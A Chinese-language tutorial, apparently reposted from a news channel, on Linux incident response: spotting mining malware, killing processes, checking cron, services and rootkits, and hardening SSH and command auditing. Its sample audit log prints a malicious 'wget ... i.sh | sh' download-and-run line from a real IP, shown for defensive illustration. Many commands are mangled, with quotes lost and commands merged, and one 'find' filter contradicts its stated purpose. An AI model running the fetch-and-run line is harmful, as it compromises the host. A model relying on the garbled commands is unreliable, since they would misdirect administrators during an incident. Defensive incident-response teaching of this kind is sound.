共計 3172 個字符,預計需要花費 8 分鐘才能閱讀完成。
Linux 的應急響應技巧是什么,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面丸趣 TV 小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
概述
Linux 環境下處理應急響應事件往往會更加的棘手,因為相比于 Windows,Linux 沒有像 Autorun、procexp 這樣的應急響應利器,也沒有統一的應急響應處理流程。
所以,這篇文章將會對 Linux 環境下的應急響應流程進行講解,并且提供每一個環節中所用到的 shell 命令,以幫助大家快速、系統化地處理 Linux 環境下的病毒。
處理 Linux 應急響應主要分為這 4 個環節:識別現象 - 清除病毒 - 閉環兜底 - 系統加固。
首先從用戶場景的主機異常現象出發,先識別出病毒的可疑現象。然后定位到具體的病毒進程以及病毒文件,進行清除。
完成前 2 步還不夠,病毒一般會通過一些自啟動項及守護程序進行重復感染,所以我們要執行閉環兜底確保病毒不再被創建。
將主機上的病毒項清除干凈后,最后就是進行系統加固了,防止病毒從 Web 再次入侵進來。
走完這 4 個環節,才能算是一個應急響應流程的結束。
識別現象
第 1 個環節要求我們通過系統運行狀態、安全設備告警,發現主機異常現象,以及確認病毒的可疑行為。
系統 CPU 是否異常
枚舉進程,CPU 降序排序:top
CPU 占用率超過 70% 且名字比較可疑的進程,大概率就是挖礦病毒了。
是否存在可疑進程
枚舉進程命令行:ps -aux
病毒一般都攜帶可疑的命令行,當你發現命令行中帶有 url 等奇怪的字符串時,就要注意了,它很可能是個病毒 downloader。
安全網關有無報警
從安全網關報警中識別出威脅是最直接,但確認主機已經感染了病毒只是第一步,接下來得定位,具體是哪個進程在與 C C 通信。
監控與目標 IP 通信的進程:
while true; do netstat -antp | grep [ip]; done
有時安全網關檢測到的不全是惡意 IP,還有可能是個域名,這種情況下,域名對應的 IP 是變化的,我們不能直接用上述方法進行監控。
我們可以先在 host 文件中添加一條規則,將惡意域名重定向到一個隨機的 IP 地址,然后對其進行監控。
這樣就能得到與之通信的惡意進程了。
有無可疑歷史命令
遍歷主機歷史命令,查找有無惡意命令:history
清除病毒
從第 1 個環節追溯到的進程信息,將會幫助我們定位到病毒進程 病毒文件,實現清除。
結束病毒進程
清除可疑進程的進程鏈:
ps -elf | grep [pid] kill -9 [pid]
刪除病毒文件
定位病毒進程對應的文件路徑:
ls -al /proc/[pid]/exe rm -f [exe_path]
閉環兜底
Linux 下的病毒持久化駐留方式相比于 Windows 較少,主要以下 4 種方式。
檢查是否存在可疑定時任務
枚舉定時任務:crontab-l
查看 anacron 異步定時任務:cat/etc/anacrontab
檢查是否存在可疑服務
枚舉主機所有服務,查看是否有惡意服務:
service--status-all
檢查系統文件是否被劫持
枚舉系統文件夾的文件,按修改事件排序查看 7 天內被修改過的文件:
find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls -la
檢查是否存在病毒守護進程
監控守護進程的行為:lsof-p[pid]
strace-tt-T -etrace=all-p$pid
掃描是否存在惡意驅動
枚舉 / 掃描系統驅動:lsmod
安裝 chkrootkit 進行掃描:
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gztar zxvf chkrootkit.tar.gzcd chkrootkit-0.52make sense./chkrootkit
安裝 rkhunter 進行掃描:
Wgethttps://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz tar -zxvf rkhunter-1.4.4.tar.gz cd rkhunter-1.4.4 ./installer.sh --install rkhunter -c
最后一個環節往往是大家比較容易遺忘的,Linux 平臺下 90% 的病毒是通過網絡傳播感染的,所以,你的主機之所以會感染病毒,大部分原因也是因為 Web 安全防護不夠,趕緊檢查一下。
修改 SSH 弱密碼
查詢 log 主機登陸日志:
grep Accepted /var/log/secure* | awk {print $1,$2,$3,$9,$11}
定位有爆破的源 IP:
grep Failed password /var/log/secure|grep -E -o (25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) |uniq -c
爆破日志的用戶名密碼:
grep Failed password /var/log/secure|perl -e while($_=){ /for(.*?) from/; print $1n } |uniq -c|sort -nr
SSH 爆破是 Linux 病毒最常用的傳播手段,若存在弱密碼的主機很容易被其他感染主機 SSH 爆破成功,從而再次感染病毒。
添加命令審計
為歷史的命令增加登錄的 IP 地址、執行命令時間等信息:
[1] 保存 1 萬條命令:
sed -i s/^HISTSIZE=1000/HISTSIZE=10000/g /etc/profile
[2] 在 /etc/profile 的文件尾部添加如下行數配置信息:
USER_IP=`who -u am i 2 /dev/null | awk {print $NF} | sed -e s/[()]//g ` if [ $USER_IP = ] then USER_IP=`hostname` fi export HISTTIMEFORMAT= %F %T $USER_IP `whoami` shopt -s histappend export PROMPT_COMMAND= history -a
[3] 讓配置生效:
source /etc/profile
生成效果:
762019-10-2817:05:34113.110.229.230 wget -q -T180 -O-http://103.219.112.66:8000/i.sh) | sh
打上常見 Web 漏洞補丁
structs2 系列 RCE 漏洞
thinkphp5.XRCE 漏洞
Redis 未授權訪問漏洞
ConfluenceRCE 漏洞(CVE_2019_3396)
DrupalRCE 漏洞(CVE-2018-7600)
ThinkPHPRCE 漏洞(CVE-2019-9082)
Linux 平臺下的惡意軟件威脅以僵尸網絡蠕蟲和挖礦病毒為主,由于 Linux 大多作為服務器暴露在公網,且 Web 應用的漏洞層出不窮,所以很容易被大范圍入侵,如常見的病毒:DDG、systemdMiner、BillGates、watchdogs、XorDDos,在很多 Linux 上都有。大家要養成不使用弱密碼、勤打補丁的好習慣。
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注丸趣 TV 行業資訊頻道,感謝您對丸趣 TV 的支持。